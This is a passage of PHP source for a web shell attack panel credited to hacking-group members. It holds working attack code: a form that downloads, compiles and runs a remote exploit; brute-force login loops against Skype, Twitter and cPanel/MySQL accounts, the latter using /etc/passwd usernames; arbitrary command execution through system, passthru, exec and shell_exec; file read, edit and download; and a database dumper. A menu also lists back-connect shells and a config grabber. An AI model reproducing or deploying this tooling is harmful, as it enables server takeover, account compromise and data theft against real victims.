echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| su:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| su:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}

if(ini_get(\'tail\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'Ptouch\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'who\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| who:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| who:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
echo \'</tr><tr>\';
if(ini_get(\'gcc\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'tar\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'du\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| du:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| du:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'dir\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'wget\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'date\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| date:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| date:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
echo \'</tr><tr>\';

if(ini_get(\'gzip\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'sh\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
echo \'</tr>\';
echo \'</table></center>\';

}



if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'exploit\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Exploit</span><center>\';
?>
<center>
<span style="font-family: Tahoma, Geneva, sans-serif;font-size: 12px; color: #007700;"><br />Get and execute<br /><br /></span>
<form action="" method="get">
<input type="text" name="exp_url" value="http://site.com/exploit"> Type:
<select name="run">
<option>c++ | .cpp</option>
<option>python | .py</option>
<option>perl | .pl</option>
<option>ruby | .rb</option>
</select>
<input type="hidden" name="action" value="exploit">
<input type="submit" value="Start">
</form>
</center>
<?php
}

if(isset($_GET[\'exp_url\'])){
echo \'<center>\';
if(function_exists("wget")){
wget($_GET[\'exp_url\']);
echo $_GET[\'exp_url\'].\' got in here\';
if(function_exists("system")){

if(isset($_GET[\'run\'])){
$run = $_GET[\'run\'];
if($run = \'c++ | .cpp\'){
system("gcc -o exploit ".$_GET[\'exp_url\'].";chmod +x exploit;./exploit;");
}
if($run = \'perl | .pl\'){
}
if($run = \'python | .py\'){
}
if($run = \'ruby | .rb\'){
}


}


}
else{
echo \'System command disabled\';
}
}
else{
echo(\'wget disabled\');
}
echo \'</center>\';
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'skybru\'){
echo \'<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Skype Brute Force</span><center>\';
ob_start();
@set_time_limit(0);
#Skype BruteForce Developped By noname-haxor from AnonGhost Team (Thanks To Mauritania Attacker)
#Idea By : Mauritania Attacker


echo "
<center><img src=\'http://www14.0zz0.com/2014/07/26/11/926953700.png\' width=\'450\' height=\'95\' /></center>
</b>
<br></center>
<p dir=\'ltr\' align=\'center\' box-shadow: 0px 0px 4px #007700;>
<textarea cols=\'34\' class=\'area\' rows=\'14\' name=\'username\'>Target Name</textarea> 
<textarea cols=\'34\' class=\'area\' rows=\'14\' name=\'password\'>Password</textarea><br>
<br>
<input type=\'submit\' value=\'Start BruteForce\'><br></p>";
if($_POST[\'username\'] and $_POST[\'password\']){
	#function
	function brute($user,$pass)
	{
$ch = curl_init();      
curl_setopt($ch, CURLOPT_URL, "https://login.skype.com/login");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); 
		
$login = curl_exec($ch);
if(eregi("message message_error", $login)){

echo "<p align=\'center\' dir=\'ltr\'><font face=\'Arial Black\' size=\'2\'>Not the right one :(  || Username : <font color=\'red\'>$user</font>&nbsp;  Password : <font color=\'red\'>$pass</font></font></p><br><br><br>"; 
}else{
echo "<p align=\'center\' dir=\'ltr\'><font face=\'Arial Black\' size=\'2\'>You Are Lucky Password Found ! || Username: <font color=\'#b0b000\'>$user</font>&nbsp; Password : <font color=\'#b0b000\'>$pass</font></font></p><br><br><br>";
}
}
	
	$username = explode("
", $_POST[\'username\']);
	$password = explode("
", $_POST[\'password\']);
	
	
	foreach($username as $users) {
		$users = @trim($users);
	foreach($password as $pass) {
		$pass = @trim($pass);
		brute($users,$pass); }}
	
	
	}
}



if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'twbru\'){
echo \'<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Twitter Multi-Account BruteForce</span><br>Coded  By Mauritania Attacker</center><br><br>\';
echo "<p dir=\'ltr\' align=\'center\'>
<textarea cols=\'22\' class=\'area\' rows=\'14\' name=\'username\'>Username</textarea> 
<textarea cols=\'22\' class=\'area\' rows=\'14\' name=\'password\'>Password</textarea><br><br><input type=\'submit\' value=\'Attack Now\'><br></p><br>";
if($_POST[\'username\'] and $_POST[\'password\']){
	#function
	function brute($user,$pass)
	{
		$ch = curl_init();      
		curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
		curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
		
		# cURL - Brute Users & Password
		$login = curl_exec($ch);
		if(eregi("error notice", $login)){
		 
		
			echo "<p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\'>[+] : Username : <font color=\'red\'>$user</font>&nbsp; Incorrect Password =====>: <font color=\'red\'>$pass</font></font></p>"; 
		}else{
		echo "<p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color=\'green\'>$user</font>&nbsp; GOOD PASSWORD =====>: <font color=\'green\'>$pass</font></font></p>";
		}
	}
	# POSTS
	$username = explode("
", $_POST[\'username\']);
	$password = explode("
", $_POST[\'password\']);
	
	# Foreach Users N\' Textarea
	foreach($username as $users) {
		$users = @trim($users);
	foreach($password as $pass) {
		$pass = @trim($pass);
		brute($users,$pass); }}
	# cURL
	
	}
	echo "<p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\'>Coded By : Mauritania Attacker</font></p>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'cpbru\'){
echo \'<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cpanel Brute Force</span></center><br><br>\';
function in($type,$name,$size,$value,$checked=0) 
 {
 $ret = "<input type=".$type." name=".$name." "; if($size != 0) 
 {
 $ret .= "size=".$size." "; }
 $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
 
class my_sql 
 {
 var $host = \'localhost\'; var $port = \'\'; var $user = \'\'; var $pass = \'\'; var $base = \'\'; var $db = \'\'; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() 
 {
 switch($this->db) 
 {
 case \'MySQL\': if(empty($this->port)) 
 {
 $this->port = \'3306\'; }
 if(!function_exists(\'mysql_connect\')) return 0; $this->connection = @mysql_connect($this->host.\':\'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case \'MSSQL\': if(empty($this->port)) 
 {
 $this->port = \'1433\'; }
 if(!function_exists(\'mssql_connect\')) return 0; $this->connection = @mssql_connect($this->host.\',\'.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can\'t connect to server"; break; case \'PostgreSQL\': if(empty($this->port)) 
 {
 $this->port = \'5432\'; }
 $str = "host=\'".$this->host."\' port=\'".$this->port."\' user=\'".$this->user."\' password=\'".$this->pass."\' dbname=\'".$this->base."\'"; if(!function_exists(\'pg_connect\')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case \'Oracle\': if(!function_exists(\'ocilogon\')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error[\'message\']; break; }
 return 0; }
 function select_db() 
 {
 switch($this->db) 
 {
 case \'MySQL\': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case \'MSSQL\': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can\'t select database"; break; case \'PostgreSQL\': return 1; break; case \'Oracle\': return 1; break; }
 return 0; }
 function query($query) 
 {
 $this->res=$this->error=\'\'; switch($this->db) 
 {
 case \'MySQL\': if(false===($this->res=@mysql_query(\'/*\'.chr(0).\'*/\'.$query,$this->connection))) 
 {
 $this->error = @mysql_error($this->connection); return 0; }
 else if(is_resource($this->res)) 
 {
 return 1; }
 return 2; break; case \'MSSQL\': if(false===($this->res=@mssql_query($query,$this->connection))) 
 {
 $this->error = \'Query error\'; return 0; }
 else if(@mssql_num_rows($this->res) > 0) 
 {
 return 1; }
 return 2; break; case \'PostgreSQL\': if(false===($this->res=@pg_query($this->connection,$query))) 
 {
 $this->error = @pg_last_error($this->connection); return 0; }
 else if(@pg_num_rows($this->res) > 0) 
 {
 return 1; }
 return 2; break; case \'Oracle\': if(false===($this->res=@ociparse($this->connection,$query))) 
 {
 $this->error = \'Query parse error\'; }
 else 
 {
 if(@ociexecute($this->res)) 
 {
 if(@ocirowcount($this->res) != 0) return 2; return 1; }
 $error = @ocierror(); $this->error=$error[\'message\']; }
 break; }
 return 0; }
 function get_result() 
 {
 $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) 
 {
 case \'MySQL\': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
 {
$this->columns = @array_keys($this->rows[0]); return 1;}
 break; case \'MSSQL\': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
 {
$this->columns = @array_keys($this->rows[0]); return 1;}
; break; case \'PostgreSQL\': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
 {
$this->columns = @array_keys($this->rows[0]); return 1;}
 break; case \'Oracle\': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
 {
$this->columns = @array_keys($this->rows[0]); return 1;}
 break; }
 return 0; }
 function dump($table) 
 {
 if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = \'##\'; $this->dump[1] = \'## --------------------------------------- \'; $this->dump[2] = \'##  Created: \'.date ("d/m/Y H:i:s"); $this->dump[3] = \'## Database: \'.$this->base; $this->dump[4] = \'##    Table: \'.$table; $this->dump[5] = \'## --------------------------------------- \'; switch($this->db) 
 {
 case \'MySQL\': $this->dump[0] = \'## MySQL dump\'; if($this->query(\'/*\'.chr(0).\'*/ SHOW CREATE TABLE `\'.$table.\'`\')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0][\'Create Table\'].";"; $this->dump[] = \'## --------------------------------------- \'; if($this->query(\'/*\'.chr(0).\'*/ SELECT * FROM `\'.$table.\'`\')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
 {
 foreach($this->rows[$i] as $k=>$v) 
 {
$this->rows[$i][$k] = @mysql_real_escape_string($v);}
 $this->dump[] = \'INSERT INTO `\'.$table.\'` (`\'.@implode("`, `", $this->columns).\'`) VALUES (\'\'.@implode("\', \'", $this->rows[$i]).\'\');\'; }
 break; case \'MSSQL\': $this->dump[0] = \'## MSSQL dump\'; if($this->query(\'SELECT * FROM \'.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
 {
 foreach($this->rows[$i] as $k=>$v) 
 {
$this->rows[$i][$k] = @addslashes($v);}
 $this->dump[] = \'INSERT INTO \'.$table.\' (\'.@implode(", ", $this->columns).\') VALUES (\'\'.@implode("\', \'", $this->rows[$i]).\'\');\'; }
 break; case \'PostgreSQL\': $this->dump[0] = \'## PostgreSQL dump\'; if($this->query(\'SELECT * FROM \'.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
 {
 foreach($this->rows[$i] as $k=>$v) 
 {
$this->rows[$i][$k] = @addslashes($v);}
 $this->dump[] = \'INSERT INTO \'.$table.\' (\'.@implode(", ", $this->columns).\') VALUES (\'\'.@implode("\', \'", $this->rows[$i]).\'\');\'; }
 break; case \'Oracle\': $this->dump[0] = \'## ORACLE dump\'; $this->dump[] = \'## under construction\'; break; default: return 0; break; }
 return 1; }
 function close() 
 {
 switch($this->db) 
 {
 case \'MySQL\': @mysql_close($this->connection); break; case \'MSSQL\': @mssql_close($this->connection); break; case \'PostgreSQL\': @pg_close($this->connection); break; case \'Oracle\': @oci_close($this->connection); break; }
 }
 function affected_rows() 
 {
 switch($this->db) 
 {
 case \'MySQL\': return @mysql_affected_rows($this->res); break; case \'MSSQL\': return @mssql_affected_rows($this->res); break; case \'PostgreSQL\': return @pg_affected_rows($this->res); break; case \'Oracle\': return @ocirowcount($this->res); break; default: return 0; break; }
 }
 }
 if(!empty($_POST[\'cccc\']) && $_POST[\'cccc\']=="download_file" && !empty($_POST[\'d_name\'])) 
 {
 if(!$file=@fopen($_POST[\'d_name\'],"r")) 
 {
 err(1,$_POST[\'d_name\']); $_POST[\'cccc\']=""; }
 else 
 {
 @ob_clean(); $filename = @basename($_POST[\'d_name\']); $filedump = @fread($file,@filesize($_POST[\'d_name\'])); fclose($file); $content_encoding=$mime_type=\'\'; compress($filename,$filedump,$_POST[\'compress\']); if (!empty($content_encoding)) 
 {
 header(\'Content-Encoding: \' . $content_encoding); }
 header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
 }
 if(isset($_GET[\'phpinfo\'])) 
 {
 echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">BACK</a> ]</b></font></div>"; die(); }
 if (!empty($_POST[\'cccc\']) && $_POST[\'cccc\']=="db_query") 
 {
 echo $head; $sql = new my_sql(); $sql->db = $_POST[\'db\']; $sql->host = $_POST[\'db_server\']; $sql->port = $_POST[\'db_port\']; $sql->user = $_POST[\'mysql_l\']; $sql->pass = $_POST[\'mysql_p\']; $sql->base = $_POST[\'mysql_db\']; $querys = @explode(\';\',$_POST[\'db_query\']); echo \'<body bgcolor=#e4e0d8>\'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else 
 {
 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else 
 {
 foreach($querys as $num=>$query) 
 {
 if(strlen($query)>5) 
 {
 echo "<font face=Verdana size=-2 color=#777777><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query)) 
 {
 case \'0\': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case \'1\': if($sql->get_result()) 
 {
 echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++) 
 {
 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo \'<tr><td><font face=Verdana size=-2>&nbsp;\'.$values.\'&nbsp;</font></td></tr>\'; }
 echo "</table>"; }
 break; case \'2\': $ar = $sql->affected_rows()?($sql->affected_rows()):(\'0\'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
 }
 }
 }
 }
 echo "<br><title>Cpanel Brute Force recoded By Virusa Worm</title><form name=form method=POST>"; 
 echo in(\'hidden\',\'db\',0,$_POST[\'db\']); echo in(\'hidden\',\'db_server\',0,$_POST[\'db_server\']); echo in(\'hidden\',\'db_port\',0,$_POST[\'db_port\']); echo in(\'hidden\',\'mysql_l\',0,$_POST[\'mysql_l\']); echo in(\'hidden\',\'mysql_p\',0,$_POST[\'mysql_p\']); echo in(\'hidden\',\'mysql_db\',0,$_POST[\'mysql_db\']); echo in(\'hidden\',\'cccc\',0,\'db_query\'); 
 echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST[\'db_query\'])?($_POST[\'db_query\']):("SHOW DATABASES;
SELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">BACK</a> ]</b></font></div>"; die(); }


function ccmmdd($ccmmdd2,$att)
{
global $ccmmdd2,$att;
echo \'
<table style="width: 100%" class="style1" dir="rtl">
	<tr>
		<td class="style9"></td>
	</tr>
	<tr>
		<td class="style13">
				<form method="post">
					<select name="att" dir="rtl" style="height: 109px" size="6">
\';
if($_POST[\'att\']==null)
{
echo \'						<option value="system" selected="">system</option>\';
}else{
echo "						<option value=\'$_POST[att]\' selected=\'\'>$_POST[att]</option>
						<option value=system>system</option>
";

						
}

echo \'
						<option value="passthru">passthru</option>
						<option value="exec">exec</option>
						<option value="shell_exec">shell_exec</option>	
					</select>
						<input name="page" value="ccmmdd" type="hidden"><br>
						<input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="\';if(!$_POST[\'ccmmdd2\']){echo \'dir\';}else{echo $_POST[\'ccmmdd2\'];}echo \'"><br>
						<input type="submit" value="">
				</form>
		
		</td>
	</tr>
	<tr>
		<td class="style13">
\';

		if($_POST[att]==\'system\')
		{
echo \'
					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">\';
					system($_POST[\'ccmmdd2\']);
echo \'					</textarea>\';


		}

		if($_POST[att]==\'passthru\')
		{
echo \'
					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">\';
					passthru($_POST[\'ccmmdd2\']);
echo \'					</textarea>\';


		}

		



		if($_POST[att]==\'exec\')
		{

echo \'					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">\';
					exec($_POST[\'ccmmdd2\'],$res);
				echo $res = join("
",$res); 				
echo \'					</textarea>\';


		}







		if($_POST[att]==\'shell_exec\')
		{

echo \'					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">\';
				echo	shell_exec($_POST[\'ccmmdd2\']);
echo \'					</textarea>\';


		}
echo \'		
		</td>
	</tr>
</table>
\';

exit;
}

if($_POST[\'page\']==\'edit\')
{

$code=@str_replace("
","
",$_POST[\'code\']);
$code=@str_replace(\'\\',\'\',$code);
$fp = fopen($pathclass, \'w\');
fwrite($fp,"$code");
fclose($fp);
echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}	

	if($_POST[\'page\']==\'show\')
	{
	$pathclass =$_POST[\'pathclass\'];
echo \'
<form method="POST">
<input type="hidden" name="page" value="edit">
\';
	
	$sahacker = fopen($pathclass, "rb");
echo \'<center>\'.$pathclass.\'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">\';	
$code = fread($sahacker, filesize($pathclass));
echo $code =htmlspecialchars($code);
echo \'</textarea>\';	
	fclose($sahacker);
echo \'
<br><input type="text" name="pathclass" value="\'.$pathclass.\'" style="width: 445px;">
<br><strong><input type="submit" value="edit file">
</form>
\';
		exit;
	}




	if($_POST[\'page\']==\'ccmmdd\')
	{
	echo ccmmdd($ccmmdd2,$att);
	exit;
	}

if($_POST[\'page\']==\'find\')
{
if(isset($_POST[\'usernames\']) && isset($_POST[\'passwords\']))
{
    if($_POST[\'type\'] == \'passwd\'){
        $e = explode("
",$_POST[\'usernames\']);
        foreach($e as $value){
        $k = explode(":",$value);
        $username .= $k[\'0\']." ";
        }
    }elseif($_POST[\'type\'] == \'simple\'){
        $username = str_replace("
",\' \',$_POST[\'usernames\']);
    }
    $a1 = explode(" ",$username);
    $a2 = explode("
",$_POST[\'passwords\']);
    $id2 = count($a2);
    $ok = 0;
    foreach($a1 as $user )
    {
        if($user !== \'\')
        {
        $user=trim($user);
         for($i=0;$i<=$id2;$i++)
         {
            $pass = trim($a2[$i]);
            if(@mysql_connect(\'localhost\',$user,$pass))
            {
                echo "Virusa Worm~ user is (<b><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\'>$user</font></b>) Password is (<b><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\'>$pass</font></b>)<br />";
                $ok++;
            }
         }
        }
    }
    echo "<center><font face=\'Tahoma\' color=\'#009900\' size=\'2pt\'>You Found</font> <b><font face=\'Tahoma\' color=\'#00ff00\' size=\'2pt\'>$ok</font></b> <font face=\'Tahoma\' color=\'#009900\' size=\'2pt\'>Cpanel by Virusa Worm</font></center><br>";
    echo "<center><b><a href=".$_SERVER[\'PHP_SELF\']."><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\'>BACK</font></a>";
    exit;
}
}
echo \'<center>
<form method="POST" target="_blank">
<input name="page" type="hidden" value="find">
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
<font face="Tahoma" color="#007700" size="2pt">User :</font></td>
<td valign="top" bgcolor="transparent" colspan="5"><font face="Tahoma" color="#007700" size="2pt"><textarea class="area" cols="90" class ="inputz" rows="7" name="usernames"></textarea></td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
<font face="Tahoma" color="#007700" size="2pt">Pass :</font></td>
<td valign="top" bgcolor="transparent" colspan="5"><font face="Tahoma" color="#007700" size="2pt"><textarea class="area" cols="90" class ="inputz" rows="7" name="passwords"></textarea></font></td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
<font face="Tahoma" color="#007700" size="2pt">Type :</font></td>
<td valign="top" bgcolor="transparent" colspan="5">
<span class="style2"><font face="Tahoma" color="#007700" size="2pt">Simple : </font> </span>
<input type="radio" name="type" value="simple" checked="checked" class="style3">
<font class="style2"><font face="Tahoma" color="#007700" size="2pt">/etc/passwd : </font> </font>
<input type="radio" name="type" value="passwd" class="style3"><span class="style3">
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" style="width: 139px"></td>
<td valign="top" bgcolor="transparent"  colspan="5"><input class ="inputzbut" type="submit" value="start">
</tr>
</td>
<tr>
</form>    
<td valign="top" colspan="6"></td>
<form method="POST" target="_blank">
<input type="hidden" name="go" value="cmd_mysql">
<tr>
